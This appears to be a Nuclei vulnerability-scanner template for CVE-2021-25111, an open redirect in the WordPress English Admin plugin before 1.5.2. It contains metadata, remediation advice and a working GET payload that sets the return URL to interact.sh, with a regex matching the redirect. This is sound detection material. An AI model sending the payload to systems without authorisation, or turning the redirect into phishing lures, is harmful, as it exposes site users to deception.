id: CVE-2021-25111 info: name: WordPress English Admin <1.5.2 - Open Redirect author: akincibor severity: medium description: WordPress English Admin plugin before 1.5.2 contains an open redirect vulnerability. The plugin does not validate the admin_custom_language_return_url before redirecting users to it. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized operations. remediation: | Update to the latest version of the WordPress English Admin plugin (1.5.2 or higher) to fix the open redirect vulnerability. reference: - https://wpscan.com/vulnerability/af548fab-96c2-4129-b609-e24aad0b1fc4 - https://nvd.nist.gov/vuln/detail/CVE-2021-25111 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2021-25111 cwe-id: CWE-601 epss-score: 0.00122 epss-percentile: 0.46256 cpe: cpe:2.3:a:english_wordpress_admin_project:english_wordpress_admin:*:*:*:*:*:wordpress:*:* metadata: max-request: 1 vendor: english_wordpress_admin_project product: english_wordpress_admin framework: wordpress tags: cve2021,unauth,wpscan,wp-plugin,redirect,wordpress,wp,cve http: - method: GET path: - "{{BaseURL}}/wp-admin/admin-ajax.php?action=heartbeat&admin_custom_language_toggle=1&admin_custom_language_return_url=https://interact.sh" matchers: - type: regex part: header regex: - '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)(?:[a-zA-Z0-9\-_\.@]*)interact\.sh\/?(\/|[^.].*)?$' # https://regex101.com/r/L403F0/1 # digest: 4b0a00483046022100dc53b589f84df8eb005db2d02d81579c694868000a71d22a3bd2313f3163eb13022100b83f7dab2557e951d34f3168d32b288651c96fb9cfb60bc2cff34e6de015d8e9:922c64590222798bb761d5b6d8e72950